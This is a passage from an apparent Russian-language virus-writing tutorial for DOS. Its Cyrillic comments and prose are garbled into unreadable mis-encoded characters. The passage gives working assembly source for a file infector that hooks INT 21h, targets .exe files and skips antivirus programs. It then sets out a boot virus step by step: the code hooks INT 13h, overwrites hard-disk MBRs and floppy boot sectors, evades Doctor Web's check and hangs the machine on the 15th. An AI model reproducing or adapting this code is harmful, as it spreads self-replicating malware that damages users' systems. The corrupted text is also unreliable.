    new_cmp_1: cmp ah,00eh            ; ᪠ ?
               jne cs:to_jump
    mov cs:tg_infect - 100h,1         ; - 
                                      ;ਣ
    to_jump:   pop es
               pop di
               popf
               db 0eah                ;室  -
                                      ;  ࠡ稪
    old_21h    dw 0                   ;INT 21h ...
    old_21h_2  dw 0

    ;-------------------------------------------------

               to_new_24h equ $ - vir

    new_24h:   mov al,3               ;୥ ணࠬ-
                                      ; ࠢ 
               iret                   ; 訡 ...

    ;-------------------------------------------------

    ;/***********************************************/

    ;Data area
    new_dta       db   128 dup (0)    ; DTA ...
    maska         db   61h,'.exe',0   ;᪠ 
                                      ;᪠ ...
    fn            db   12 dup (' '),0 ;  
                                      ;䠩
    end_file      db   0ebh           ;  -
                                      ; 
                  db   push_len       ; 䠩 ...
    header        db   27 dup ( 0 )   ;ᨢ 
                                      ; ...
    descrypt      dw   0              ;ਯ ...
    to_02h        dw   0              ;祩 
    to_04h        dw   0              ;࠭ -
    to_16h        dw   0              ;塞 -
    my_ip         dw   0              ;⮢ 
    my_cs         dw   0              ;
    my_16h        dw   0              ;
    my_ss         dw   0              ;
    my_sp         dw   0              ;
    old_ss        dw   0              ;
    old_sp        dw   0              ;
    f_seek_low    dw   0              ;  -
                                      ; 
    f_seek_high   dw   0              ;㪠⥫ ...
    es_dta        dw   0              ; ன
    bx_dta        dw   0              ;DTA ...
    first_psp     dw   0              ; ࢮ
                                      ;PSP ...
    es_save       dw   0
    to_new_stack  equ  $ - vir        ;饭 
                                      ;⥪ ...
    new_stack     dw   50 dup ( 0 )   ; ⥪ ...
    name_1        db   'ADIN'         ; ,
    name_2        db   'DINF'         ; 稭-
    name_3        db   'DRWE'         ; ⠪,
    name_4        db   'AIDS'         ;ࠦ
    name_5        db   'ANTI'         ; !
    name_6        db   'WEB'
    inside        db   0
    vizitka       db   'Programmed in Zhitomir'
                  db   ' Politechnical Institute'
                  db   'FICT is the best!'
                  db   ' (AU - ... ,virmaker)'
    mes_len       equ  $ - vizitka
    last          db   0              ;᫥ 

    ;-------------------------------------------------

    setpointer proc                   ;楤 -
	       mov ax,4200h           ; 㪠⥫
	       mov bx,descrypt        ; 䠩 ...
	       int 21h
               ret
    setpointer endp

    read       proc                   ;楤 -
               mov ah,3fh             ;  䠩
	       mov bx,descrypt
	       int 21h
               ret
    read       endp

    write      proc                   ;楤 -
               mov ah,40h             ;  䠩 ...
               mov bx,descrypt
               int 21h
               ret
    write      endp

    mover      proc                   ;楤 㬭-
               mov cx,04h             ;  16
    left:      shl dx,1               ; ᫮
               shl ax,1               ;DX : CX
               adc dx,00h
               loop cs:left
               ret
    mover      endp

    rest_code  proc                   ;楤 -
                                      ;⠭
               push bx                ;  ⥪
               push cx                ;஬筮
               push si                ;ࠡ稪
                                      ;INT 21h ...
               push di
               push es
               pushf
               cli
               mov es,cs:first_psp - 100h
               xor di,di
               mov si,offset cs:to_bios - 100h
               mov cx,code_len
    loader:    mov bl,byte ptr cs:[si]
               mov byte ptr es:[di],bl
               inc si
               inc di
               loop cs:loader
               sti
               popf
               pop es
               pop di
               pop si
               pop cx
               pop bx
               ret
    rest_code  endp

    search     proc                   ;楤
               push ax                ;ࠢ
               push cx                ;ப ...
               mov inside,1
               lea di,fn
    new_cmp:   mov al,byte ptr ds:[si]
               cmp byte ptr ds:[di],al
               jne cs:not_equal
               inc di
               inc si
               loop cs:new_cmp
               jmp cs:to_ret
    not_equal: mov inside,0
    to_ret:    pop cx
               pop ax
               ret
    search     endp

    ;-------------------------------------------------

    to_bios:   push ax                ; ஬-
               push ds                ;筮 -
               pushf                  ;稪 Int 21h
               xor ax,ax
               mov ds,ax
    cmp word ptr ds:[0006h],0070h     ;Int 01h -
                                      ;墠祭 ?
               jne cs:uuuuu
                                      ;JMP  ⥬-
                                      ;  -
                                      ; ࠡ稪
                                      ;INT 21h ...
               popf
               pop ds
               pop ax
               db 0eah                ; ...
    our_21h_ip dw to_new_21h
    our_21h_cs dw 00h
    uuuuu:     popf
               pop ds
               pop ax
               db 0eah                ; ⥬...
    sys_21h_ip dw 00h
    sys_21h_cs dw 00h

    code_len equ $ - to_bios          ; ࠡ-
                                      ;稪 ...

    ;-------------------------------------------------

                  db   '7'            ;᫥ 
                                      ; ...

    vir_len       equ $-vir           ; 
                                      ; 
    vir_par       equ ($-vir + 0fh)/16;  ࠣ


    prg ends
    end vir


     ,   ਭ ।  
    ⮣,  ⮡   ᬮ ࠧ ⨢ -
    ࠬ .  ⮬,  (    ) -
      ᪥ ஢ ᥡ  ࠦ,
      㦥  ᢮  뤠 -
    ⢥饥 ᮮ饭 . ⮬  ஢,
    ᮤঠ -        䠩  ⠪
    ࠣ :

               name_1        db 'ADIN';, 
               name_2        db 'DINF'; -
               name_3        db 'DRWE'; ⠪, -
               name_4        db 'AIDS';ࠦ  !
               name_5        db 'ANTI'
               name_6        db 'WEB'

     ஢ન ᯮ ࠧࠡ⠭ ࠭ -
    楤 SEARCH .  ᫨  䠩 ⢨⥫쭮
     ⨢᭮ ணࠬ,    ⪠-
    뢠  ⪨ ࠧ  .

    *
        ⨫,   ࠡ稪
      Int 13h  Int 2Fh.  ᤥ ⮬,  ।-
       ணࠬ ⫨筮 ࠡ⠥    - 
         뫮 " 䨫樨 " 뢠 Int 13h.
      ஢ઠ ୮  㧪    -
      稪 Int 28h,  ⮩  稭 뢠  Int
      2Fh 墠뢠  㦭.


                3 .  


             1 .  
                     


        1.1  ⪨ ᢥ  砫쭮 㧪
                 ᮭ쭮 

     砫  ᫥ ᪠  ᪮쪮 ᫮  ⮬,
     ந室 砫쭠 㧪 .
    ᫥ ஢ન ⭮    -
      ⠡ ஢ 뢠 BIOS  ⠥
        ᥪ 㫥  ஦ 㫥
    ஭ ᪠  ᪮ " A ".  ᥪ -
    頥     0000:7C00h,᫥ 祣 
    㪠  । ࠢ.  ⠭-
     ᥪ ᮤন ணࠬ 砫쭮 -
     (BOOT - )   㣨 ᢥ,-
    室  㯠    ᪥. ணࠬ
    砫쭮  㧪 ஢,   -  
    ⥬.  ᫨  ⠪,  㧪 樮
    ⥬  ᪠ த,  ᫨ ,  -
    ࠭ 뢮 ᮮ饭 :

    Non system disk or disk error
    Replace and press any key when ready .

    ᫥ 祣 ⥬  ⢨ .
    ᫨     " A " - ᪮  , 
    ணࠬ BIOS 뢠  ᥪ 㫥 -
    ஦ 㫥 ஭ ࢮ ⪮  ᪠.  
    ⠪ 頥     0000:7C00h,-
    ᫥ 祣  㪠  ।  ࠢ-
    . ⠭ ᥪ  ⪮ ᪥ -
      ⠪  뢠 MBR  (  㧮筠 -
    ). MBR  ணࠬ,  ।
    ⨢  ࠧ  ⪮ ᪠, 뢠 -
      (BOOT - ) ⮣ ࠧ  -
    ⨢   ⤠  ࠢ.  
    ந室,   㧪 ⥬   -
    ᪠.  ,  㧪    -
       㯥.
    ᫨  ணࠬ MBR  諠 ⨢ ࠧ, 
    뤠 ᮮ饭  ⢨ 㧮  -
    ன,  ⥬ ⠭.  -
     設    樮-
     ⥬ 㦠  몠 ,
    ᠭ  奬 .    
    ஢  ᮤঠ ஥  -
       ᯮ .


            1.2 ⨥  㧮 

    㧮묨  뢠 , ᯮᮡ  ࠦ
    㧮 ᥪ   ⪨ ᪮   -
    騥 ࠢ  ⪥ "  " -
    樮 ⥬  ࠦ ᪠.
      뤥  ᫥騥 ᭮  ࠧ
     ணࠬ 㪠 ⨯ :

    1. ࠦ騥 BOOT - ᥪ  ᪮
    2. ࠦ騥 BOOT -  ⨢ ࠧ  -
       ⪮ ᪠  BOOT - ᥪ  ᪮
    3. ࠦ騥  MBR ( Master Boot Record ) ⪮
       ᪠ BOOT - ᥪ  ᪮

    ⬥⨬, ࠦ BOOT - ᥪ஢ ᪥ -
      易⥫,       ᬮ
    ࠭ .
    ஬ ⮣,   㧮   
    १묨,  ᯥ䨪  ࠡ.
    १  ᬮ  ࠧ ⮫쪮  
    ⮬ 砥, ᫨    㧪   ᪠ " A "  
    ᪮ " B " 뫨   ᪥,   
    㧪  ࠦ   室 
      ᪮.祢,  ⠪ -
    ⬥  ࠡ   ࠧ   祭 ,
      ᮧ 뫮   ᫥.
    讥  ࠭ 稫 ⠪  䠩 -
    㧮  ,   ࠦ  䠩
    ⨯ EXE, COM    㣨. ન ।⠢-
    ⥫ ⮩ ࠧ   ONEHALF,-
       ࠦ EXE  COM - 䠩.  -
    㧮      ࠧ묨, 祬
    䠩.  ⠪  ⠪ ᫮,  -
    ⮬  ஡  ᬮ७ 室   ࠬ
     .


             1.3  ࠡ 㧮筮
                          

    ᬮ  ஬ ࠧࠧ 㧮  -
     ணࠬ,   ࠡ ⥫쭮
    ⫨   㣠.  ⮬ 㭪  ᬮ-
    ਬ    ॠ権 ⠪  -
    . 쪮 ᭠砫 ᫮,     㤥
    ࠦ 㧮  ᥪ  ᪮   MBR
    ( Master Boot Record) ࢮ ⪮ ᪠. -
    ⮬  । ᫥騩 "  ࠡ " :

       砫쭮  㧪 設    
      0000:7C00h,    믮  ⠪
    ⢨ :

    1. ⠭ ॣ SS  SP  ᮡ⢥ ⥪
    2. " १ "  ⥬ ᪮쪮 ⮢ -
        ( ᪮쪮  -    -
         )
    3. ९ ᢮   祭  (-
       ,  㤥 室     -
        )
    4. । ࠢ ᫥饩 ᥪ樨 ᢮ -
       , 㦥 ᯮ   ᭮ 

     ᥪ,  ᢮ ।,  :

    1. ८।  뢠 Int 13h  -
        
    2.  騩  㧮 ᥪ   
         0000:7C00h
    3. ஢, ࠦ -  . ᫨ , 
       ࠧ  MBR
    4. । ࠢ 饬 㧮筮 -
       , 室饬   0000:7C00h

     㧪  믮,  筮.
     ⥬ 㤥 㦥,  -
     ࠦ BOOT - ᥪ஢ ᪥.  ⮩ 楫
     믮 ⠪ ⢨ :

    1.   ⥭  ᥪ஢  ࠬ 2...N  㫥
       ஦ 㫥  ஭ ᪠ " A "  ஢
       BOOT ⮣ ᪠  ࠦ
    2. ᫨    ஢ - ࠦ 
    3. । ࠢ ⥬ ࠡ稪  Int
       13h

     ࠦ     ᭮   
    BOOT - ᥪ ᪥   MBR .
    ⭮,   㧪     ஢
      ࠦ ᫥.  ⥬   ,
       , ⠪   ⪫  ஢
    ⪮ ᪠  ⠪ ,     -
    . ஬ ⮣,  믮 祭  
    ⮬ ᮢ襭  頥  짮⥫.
      , ਢ   -
    쭮 ᫮.   ,  筮  -
     ॠ,  祬  ᪮ 㡥.
    ⥫  ᪠  ⮬,     -
    ᨬ쭠  ᭮ .᫨  ⨬ -
       㧮 ᥪ  楫, ᫥
      .

    1. ⢥  ணࠬ  㧪  MBR  
        , 祬 446  ( .  2 )

    2. ணࠬ  㧪    BOOT - ᥪ  ᪥
        ࠧ ࠧ  ࠧ  DOS.  -
         " ।쭮 "  砥    稭 
       ᬥ饭 0055h ⭮⥫쭮 砫 ᥪ. 
       ᫥  BOOT  MBR ᮤঠ : 55AAh.
       ᫨  ,⥬ ⠭ 㦠-
         ᯮ祭  ⠪ ࠧ ᪠. -
         ᯮ  ਥ  ਢ
       ᪥    " 筮 ࠡ祥 "
       ﭨ.

     ᫥ 祢 뢮 - ࠧ  -
        ॢ : 200h - 55h - 02h = 1A9h =
    = 425 ! ᫨   멤   ࠭, -
    饭   㤥 ந室 ४⭮. ஬
    ⮣, NORTON DISK DOCTOR  㤥  -
      ணࠬ 㧪  BOOT - ᥪ  -
       MBR  , , ᮣ, 祭
    .


        1.4  稭 ࠭ 

     ⫨稥  䠩 ᮢ, ७ -
    筮     筮   -
    ஡  㧨    ࠦ ᪥, 
    ⮬ ᪥  易⥫쭮    㧮-
    . ⮬ ⮨ ᮡ ᮢ ⮣ ⨯.
    ⠪, ⮡  砫 ࠭, -
    筮 ࠧ     ,  ⮬  
    㧨    ⮩   設.


                    1.5 砫 ࠡ

      ०,㤥 ࠧࠡ뢠 㧮 
      COM - ணࠬ. ⮬ :

    prg segment
       assume cs:prg,ds:prg,es:prg,ss:prg
          org 100h


              1.6  砥 ࠢ

      㦥 ,㧮  砥 -
      ⮫쪮   㧪 樮 ⥬.
       " १ "  DOS ᪮쪮 -
    ⮢    ९ ᢮    祭
    .  믮   㭪権   ।-
     ⠪ ࠣ :

    my_prg:    xor ax,ax              ;
               mov ss,ax              ;
               mov sp,7bfeh           ;⠭ ᮡ-
                                      ;⢥ ⥪
               push ax                ;࠭  -
               push bx                ; ᯮ㥬
               push cx                ;ॣ
               push dx                ;
               push si                ;
               push ds                ;
               push es                ;
               pushf                  ;
                                      ;
               push cs                ;DS = CS
               pop ds                 ;
                                      ;
    sub word ptr ds:[0413h],2         ;"०"  DOS
               mov ax,ds:[0413h]      ; 
               mov cl,6               ;  -
                                      ;
               sal ax,cl              ;ᥣ -
                                      ;, ஬
                                      ;室 -
                                      ;祭 
               mov es,ax              ;⨬ 
                                      ; ES
               xor si,si              ; ᪮㥬 
               mov cx,prg_lenght      ; 
    prg_copy:  db 8ah                 ;"prg_lenght" 
               db 9ch                 ;  -
    additor    db 00h                 ; ES : 0000h
               db 7ch                 ;   -
               mov byte ptr es:[si],bl;㧪 頥-
               inc si                 ; BIOS  -
               loop cs:prg_copy       ; 0000:7C00h
                                      ;
               push ax                ;襬  ⥪
               mov ax,to_read_boot    ; ES:to_re-
               push ax                ;ad_boot  -
               db 0cbh                ;⢨ 室
                                      ;  

    ᪮  樮 ⥬     砫
    믮 ⮣ ࠣ   㦥, "㢥-
    "  ᫨⥫쭮 ⥬   
     ।⠫   㤠.   ⮣  
    ᫥ 㬥   ᫮,ᯮ  -
      BIOS   : 0000:0413h .㧨-
    , 樮 ⥬   㤥  -
      ᮬ .  ⠪ ணࠬ,
      RELEASE   Volkov Commander (  ALT +
    + F5 )   㦨,   " ⠨-
     "   ( ࠢ,    ⠪ 㤭  -
    ,   冷 "  " ⠪  -
    ᨫ쭠 ) .

    設 

               db 8ah                 ;
               db 9ch                 ;
    additor    db 00h                 ;
               db 7ch                 ;

       :
    " mov bl,byte ptr [si + 7C00h] "   
     ᨬ  ⮣,   㤠 ࠧ
     - ᫨ 㧪 ந室   ,
     㤥   :

               db 8ah                 ;
               db 9ch                 ;
    additor    db 00h                 ;
               db 7ch                 ;

     ᫨  ᪥ :

               db 8ah                 ;
               db 9ch                 ;
    additor    db 55h                 ;
               db 7ch                 ;

      ⮬,    MBR ⪮ ᪠ ⥫  
    ᯮ  ᬥ饭 0000h  砫 ᥪ,
      BOOT -   ᪥     ᬥ饭 ࠢ
    0055h ( . . 1.11 ). ࠦ ⮣  
    ᪠  ।  室  祭 
    " additor", ஥ ⮬ 㤥 ᠭ   -
      ᥪ.  " ret far "   ⪮
    ᠭ    設  0CBh.
     ⠭ ᮡ⢥ ⥪ ⢮  
    饩 MBR ⪮ ᪠. ᫨  ⠢  ⥪
    "   ",     ⥬ 㤥
      㧪 - ஢७  ࠪ⨪ !


           1.7   ⨢ ணࠬ

     饥 ६  ⮫쪮  -
    ࠭ ⨢᭠ ணࠬ,  ன ᫥
       ࠧࠡ⪥   .  ᥬ
     DOCTOR WEB.  쭮 ᮢ襭-
      ᪮  , DOCTOR WEB
    ᯮᮡ 㦨     ⮫쪮   䠩-
    ,    㧮 ᥪ    ⪨
    ᪮ .  ।饩    ᬮ-
    ५,    ⢨   
     䠩  ⨢  . , -
    , ᫥ ᪠,  蠥  ᪨-
    ஢ 㧮筮 .
    ᫥ ᪮쪨  ᯥਬ⮢ 뫮  ⠭-
    ,   ᪥  㧮 -
    ᮢ DOCTOR WEB ⠥ । 䠪  墠
    뢠 INT 13h, ⮬ ⨢   -
      ன ஥ ⫠稪  ⥫
    BOOT   MBR. ᫨,    ணࠬ, INT 13h
    뫮  墠祭, 뤠 ᮮ饭   
    稨  襬  ⭮  㧮-
     .  ᫥ 祢 뢮 :

    - ,    ⠡ ஢  -
      뢠  믮 䨪   INT
      13h, ᫥ ஢,      -
       !

     ᤥ ४ ஢騪,   ࠡ-
    騩   ,  ⠪ . ⮬
     뫠 襭 ᫥騬 ࠧ :

               mov si,vvv - 100h      ;
    mov word ptr es:[si],to_new_13h   ;⠭
    mov word ptr es:[si + 2],cs       ; Int 13h
                                      ;  -
                                      ;ࠡ稪
                                      ;

       ࠭, DOCTOR WEB " ", 
    
               mov si,vvv - 100h
    뫠  SI ᫮ 04Ch, 饥 אַ ⭮-
       뢠 Int 13h.
    ஢ઠ ਢ ⮤  ࠪ⨪  
     ਣ.


               1.8 墠뢠 Int 13h

    ᭮ ᠭ  , ⠫  ६
    墠 뢠 Int 13h.  㤥 -
    짮   ᫥ 権   ᪥-
    ⠬. ⠪ :

    to_read_boot   equ   $ - my_prg   ;
                                      ;
    read_boot: push cs                ;DS = CS
               pop ds                 ;
                                      ;
               xor si,si              ;SI = 0
               mov es,si              ;ES = SI
                                      ;稬 
                                      ;Int 13h  -
                                      ;࠭  :
    mov bx,word ptr es:[4ch]          ;
    mov word ptr old_13h - 100h,bx    ;
    mov bx,word ptr es:[4eh]          ;
    mov word ptr old_13h_2 - 100h,bx  ;
                                      ;
               mov si,vvv - 100h      ;
    mov word ptr es:[si],to_new_13h   ; ⠭
    mov word ptr es:[si + 2],cs       ; Int 13h
                                      ;  -
                                      ;ࠡ稪
                                      ;

    뢠  墠뢠 ⥬ ।-
     䨪樨   ⠡ ஢ -
    뢠. ⠭ " to_read_boot "   ᬥ-
      砫 ᭮   ⪨ "read_boot",
     ன  稭 ,믮騩 ८।-
       Int 13h    ࠡ稪.-
    ⥫ ᭥ ࠡ ࠣ   ॡ-
    .


            1.9 ⠥ 室 BOOT - 

    砫 ਬ,     㤥  ࠭
      㧮   ( BOOT -  ᪥
     MBR -  ⪨ ᪮ ).
    筮  㫥 ஦ 㫥 ஭  -
     ᯮ ⮫쪮 ᠬ  ᥪ, -
    ⠫ ᢮. ⮬ 뫮  ⢥ -
    ࠭ MBR    ᥪ஢ 㫥 ஦.
    ᮢ ᥪ  ஬ 12,  뫮 
        㣮. 쪮   ᫥ 롨
    ᥪ  祭 訬 ࠬ.  
    ⠪, , ਬ ᥪ  ஬ 100   ᪥
          ( ᮡ  ⭮ 
      ⥫ ). ⨬  -  
    .
     ᪥ ਣ BOOT -    ᥣ
    뢠  ᫥ ᥪ ᫥ ஦ 
    ࢮ ஭ ࠦ ᪠ .
     ⮣, ⮡  ࠦ ᪠  뫮 -
    㧨,    室 㧮-
          : 0000:7C00h  ᫥
    믮 室 ⢨ ।   -
     :

               mov dx,num_head - 100h ;⠥ -
               mov cx,cyl_sect - 100h ;騩 㧮
               mov bx,7c00h           ;ᥪ  
               mov ax,0201h           ; 
               int 13h                ;0000:7C00h

     ਢ ࠣ ⢮ 祩 -
     :

    num_head   dw   0                 ; 
    cyl_sect   dw   0                 ;࠭ 
                                      ;,஦
                                      ; ᥪ -
                                      ; ᪠ ,
                                      ;  -
                                      ;ᠭ 
                                      ;㧮筠
                                      ; .

    ᪮쪮   ࠧ६, । -
    頥   祭.


               1.10 ࠦ MBR 

     , ⠫ ६ ஢, ࠦ-
     -   MBR ࢮ  ⪮ ᪠,  ᫨  -
    ࠧ . ⮬ 㯨   :

               push cs                ;ES = CS
               pop es                 ;
                                      ;
               mov dl,0080h           ;⠥ MBR
               call cs:read_mbr       ;
               jc cs:to_quit          ; 
                                      ;CS:0400h, -
                                      ;祬 㧪
                                      ;ᥩ 
                                      ;ந
                                      ;  ᪥ !
    cmp byte ptr ds:[400h],33h        ;MBR 㦥 -
               je cs:to_quit          ; ?
                                      ;
               mov dx,0080h           ;㫥 
                                      ;ࢮ ⪮-
                                      ; ᪠
               mov cx,000ch           ; 12,
                                      ;஦ 0
               mov dl_save - 100h,dl  ;
                                      ;࠭ 
                                      ;ࠬ .
               call cs:write_mbr_last ;஬ ⮣,
                                      ;९襬 -
                                      ; MBR 
                                      ;ᥪ 12
               jc cs:to_quit          ;㫥 ஦
                                      ; 㫥 -
                                      ;஭ HDD .
               xor si,si              ;ନ㥬 
               mov additor - 100h,00h ;  
               mov cx,prg_lenght      ;
    copy_vir_mbr:                     ;  室-
               mov al,byte ptr ds:[si]; MBR
    mov byte ptr ds:[si + 400h],al    ;
               inc si                 ;
               loop cs:copy_vir_mbr   ;
                                      ;
               mov dx,0080h           ;襬 
               call cs:write_mbr      ;  
                                      ;ᥪ 㫥
                                      ;஦ 㫥
                                      ;஭ -
                                      ;
    to_quit:   mov ah,04h             ;
               int 1ah                ; 
               jc cs:bad_clock        ;㧪 
               cmp dl,15h             ;15 -  ᫠
    vis:       je cs:vis              ;蠥 ⥬
    bad_clock: popf                   ;⠭ 
               pop es                 ;⥪
               pop ds                 ;ॣ
               pop si                 ;
               pop dx                 ;
               pop cx                 ;
               pop bx                 ;
               pop ax                 ;
                                      ;
               db   0eah              ; ⤠ -
               dw   7c00h             ; -
               dw   0000h             ;饩 㧮筮
                                      ; ( MBR )

      ,  筮  ᢮ " -
     "  ᥡ  .   ᠬ  - ᢮  
    뢠  訥 512  ࢮ " १-
     "   DOS ,  MBR   뢠
     訥 512  ண .   ᤥ
     襩 ⭮ ணࠬ  祭 -
    ࠬ஢,      䠪᪨
      (   ன 寧  
    ⭥  । ⢨ 襣  ).
    楤  " read_mbr " ⠥  ᥪ 1 ஦ 0
     㫥 ஭ 㪠 ᪠.
    楤 " write_mbr " 뢠   -
         : CS:0400h  ᥪ 1  ஦ 0 
    㫥 ஭ 㪠 ᪠.
    楤 " write_mbr_last " 뢠   
        : CS:0400h   ᥪ -
       ᪠   祩  :

    num_head
     cyl_sect.

     ஢ન ࠦ MBR  ࠢ  
         ⮬  ᢮  - ᫮
    33h.
    ,     " additor "    ᫮ 00h,
    室  ४⭮  㧪  .
    ⮨ ⬥,   ࠦ MBR ந室  -
    ⥫쭮  㧪  ࠦ ᪥. -
     樮 ⥬ 㤥 㦥, -
     ஢ ⮫쪮   ᪨   ⪥
      ᮤন. ᪮   -
        ⪨ ᪨  祭  
      ࠡ饩 設,  ᫠  ।ᬠ-
     ࠦ MBR  १⭮  ०. ᫨  
    ஡ த 襮ᠭ  楤, 
      ᮪ ⭮ 멤  ,
     "  "   .


         1.11 襬 ࠡ稪 뢠 Int 13h

      ⮢⥫ ⢨ 襭, 
       ࠧࠡ⪮ ᭮ ࠡ-
     뢠 Int 13h.   ࠡ稪 -
     ᫥  樨   ᪠   
    室 ࠦ .
    筥  ᭥ ᫮,    -
     㤥 ࠧ BOOT - ᥪ ᪥. -
    ࠦ 㤥 믮  ⮬ 砥,᫨ ந-
    室 ⥭  ᥪ 㫥 ஦  㫥-
     ஭, ஬ ࢮ.室   ⮣, 
     :

                                      ; ᫥
                                      ; -
                                      ;稪 Int 13h
    to_new_13h equ   $ - my_prg       ;
                                      ;
    new_13h:   pushf                  ;࠭ 䫠
               cmp dl,01h             ;  -
                                      ; " A "
                                      ; " B " ?
               ja cs:to_sys_13h       ; !
               cmp ah,02h             ;⥭ ?
               jne cs:to_sys_13h      ; !
               cmp ch,00h             ;஦ " 0 " ?
               jne cs:to_sys_13h      ; !
               cmp cl,01h             ;- ?
               je cs:to_sys_13h       ; !
               call cs:boot_infect    ;맮 -
                                      ; ࠦ
                                      ;BOOT - ᥪ஢
                                      ;᪥
    to_sys_13h:                       ;
               popf                   ;⠭
                                      ;䫠
               db 0eah                ;३  -
    old_13h    dw 0                   ;⥬ -
    old_13h_2  dw 0                   ;稪 Int 13h

      ,   ⥭ ᥪ஢  2...N
    㫥  ஦  㫥  ஭  ᪥  -
     । 楤 " boot_infect ", -
      ࠦ   ᪮. ᫨  
    ࠦ ந室  ⥭  ᥪ,
     ࠦ 設  樨  ᪮ -
    﫨  ࠧࠦ .
     । ࠢ ⥬ ࠡ稪 Int
    13h ᯮ 筠    -
    , ᠭ   設 樨.
     ࠧࠡ⠥ 楤 " boot_infect ",-
     ᪥. ⢥ ᤥ   
     ࠣ⮬,  " ࠡ⠥ "  ஬ .
    ⮬ :

    boot_infect proc                  ;
               push ax                ;࠭ ॣ-
               push bx                ;  ⥪
               push cx                ;ࢠ
               push dx                ;
               push di                ;
               push ds                ;
               push es                ;
               pushf                  ;
                                      ;
               push cs                ;ES = CS
               pop es                 ;
                                      ;
               push cs                ;DS = CS
               pop ds                 ;
                                      ;
               mov cx,3               ;஡㥬 -
    next_read: push cx                ; BOOT -
                                      ;ᥪ ᪥.
               call cs:read_mbr       ;   
               pop cx                 ;⪨ (-
               jnc cs:inf_check       ;,᫨ -
                                      ;⥫ ᪮
                                      ; ᯥ ࠧ-
                                      ;  -
                                      ;祩 ᪮,
                                      ; BIOS ୥
                                      ;訡 -᪥
                                      ;ᬥ ! )
               xor ah,ah              ; 訡 -
               pushf                  ;ᨬ ⥪騩
    call dword ptr old_13h - 100h     ;᪮
               jc cs:to_jump          ; ਬ
               loop cs:next_read      ;⥭
    to_jump:   jmp cs:restore_regs    ;
                                      ;BOOT - ᥪ
                                      ;ࠦ ?
    inf_check: cmp byte ptr ds:[455h],33h
               je cs:to_jump          ; !
    cmp word ptr ds:[40bh],200h       ;512  
                                      ;ᥪ ?
               jne cs:to_jump         ; !
                                      ;
               mov dl_save - 100h,dl
               mov ch,79              ;।
               mov dh,byte ptr ds:[415h]
               cmp dh,0f0h            ;ࠬ
               je cs:real_80          ;᪥
               cmp dh,0f9h            ; 
               je cs:real_80          ;Media
               cmp dh,0fdh            ;Descryptor
               jne cs:to_jump         ;
               mov ch,39              ;
    real_80:   mov dh,01h             ;
               mov cl,byte ptr ds:[418h]

                                      ;९襬 -
                                      ;騩 BOOT 
                                      ;᫥ ᥪ-
                                      ; ᫥
                                      ;஦  -
                                      ; ஭
               xor dl,dl              ;
               call cs:write_mbr_last ;
               jc cs:to_jump          ;
                                      ;
               mov additor - 100h,055h;ନ㥬 ,
               xor di,di              ; 㦭
               mov cx,prg_lenght      ; 
    copy_vir:  mov al,byte ptr ds:[di];᪥ 
    mov byte ptr ds:[di + 455h],al    ;室 BOOT -
               inc di                 ;
               loop cs:copy_vir       ;
    mov word ptr ds:[400h],053ebh     ;
                                      ;
               xor dh,dh              ; 襬 
               call cs:write_mbr      ; 
                                      ;ᥪ 㫥
                                      ;஦ 㫥
                                      ;஭ ᪥
                                      ;
    restore_regs:                     ;⠭ 
               popf                   ;⥪ ॣ
               pop es                 ;
               pop ds                 ;
               pop di                 ;
               pop dx                 ;
               pop cx                 ;
               pop bx                 ;
               pop ax                 ;
               ret                    ;멤  -
                                      ;楤
    boot_infect endp                  ;

      ᯥ ,⥪ 楤 祭 宦
     ⥪ ࠣ,  㤥 ࠦ ⪨
    . 訥 ⫨ 易  ᯥ䨪  -
     ᪮  .   ⮬,  -
      頥 뢭 ( ᪫祭  -
      ⥬   ०   -
    ࣨ),  ⥫ ᪮ ᪠ ⮫쪮
     ⨨  䫠 (᫨  ,  -
      樨 ᪮.) ⮬,᫨ -
    ⥫  ᪮     믮  樨
    ⥭  ࠫ  室 ᪮, BIOS  -
     訡  ᮮ,   ᪥ ᬥ.  ⮬
    砥 ४  ⥭, ।-
    쭮 ᨢ ⥫.    -
     ⥭  ࠧ, ᫥  祣  砥  㤠
    ⪠뢠  ࠦ ⠪ ᪠.
    ᪮쪮 ࠭   ᭨,   ࠧ -
    ᨩ MS DOS  WINDOWS ணࠬ 砫쭮  㧪
     BOOT - ᥪ ᪥  ᯮ   ࠧ
    ᬥ饭.    ⮩ 稭,  訥
    ᨨ  樮 ⥬ ࠭   㧮筮
    ᥪ    ஡  ᢥ   ᪥. -
    訬 ᬥ饭,    -   -
     ,  0055h. ⮬   
    㤥   BOOT - ᥪ ᢮ ,ਥ-
       ਢ 祭.   
      ᥪ   ᠭ  -
    室  砫 ⮣ ,   : " EB 53 ".
    ଠ BOOT - ᥪ ਢ   2.
     ᫥ -  । ࠬ  ࠦ-
     ᪥ 室   Media Descryptor.  De-
    scryptor ᮤন  BOOT - ᥪ  ᪥
       묨 㣨 ࠬࠬ -
    筮   ⨯. ࠧ ਯ-
    ஢ ਢ    2.


               1.12 ᯮ㥬 楤

    ᪨  㦥 ⮢.⠫  -
     ⥪ 楤,   㤥  ᯮ짮-
      ᢮ ࠡ :

    read_mbr   proc                   ;
               xor dh,dh              ;
               mov ax,0201h           ;楤
               mov bx,400h            ;⠥ 
               mov cx,01h             ;ᥪ 㫥
               pushf                  ;஦ 㫥
    call dword ptr old_13h - 100h     ;஭ 㪠-
               ret                    ; ⥫
    read_mbr   endp                   ;
                                      ;
    write_mbr proc                    ;
               mov ax,0301h           ;楤
               mov cx,01h             ;頥 -
               pushf                  ;   BOOT-
    call dword ptr old_13h - 100h     ;ᥪ ᪥
               ret                    ; 뢠
    write_mbr  endp                   ;  MBR
                                      ;
                                      ;
    write_mbr_last proc               ;楤
                                      ;९뢠
                                      ;室 BOOT-
                                      ;  MBR
               mov num_head - 100h,dx ; 
               mov cyl_sect - 100h,cx ;ᥪ
               mov dl,dl_save - 100h  ;ࠦ
                                      ;᪠
               mov ax,0301h           ;
               pushf                  ;
    call dword ptr old_13h - 100h     ;
               ret                    ;
    write_mbr_last endp               ;

    楤 ஥  祭 ,    
    ࠡ, ᪮॥ ᥣ,  ᫠. ⬥⨬  ⮫쪮,
      맮 Int 13h ଫ   맮 -
    쭥 楤.  室  ।饭
    ⥭樠 "  ", 易   ॥-
    쭮 ணࠬ,믮 ࠡ Int 13h.
     ⠪ ⮤ ᪮쪮 㢥稢 ࠧ  -
    ᭮ .


               1.13   

     ⫨稥   । ணࠬ,   
    ᠭ  㧮筮    㤨-
       :
                                      ;
               db   'Kot!'            ; 
    dl_save    db   0                 ;祩  -
                                      ; ࠭-
                                      ; ॣ DL
                                      ;(  
                                      ; -
                                      ; )
    num_head   dw   0                 ; 
    cyl_sect   dw   0                 ;࠭ 
                                      ;,஦
                                      ; ᥪ -
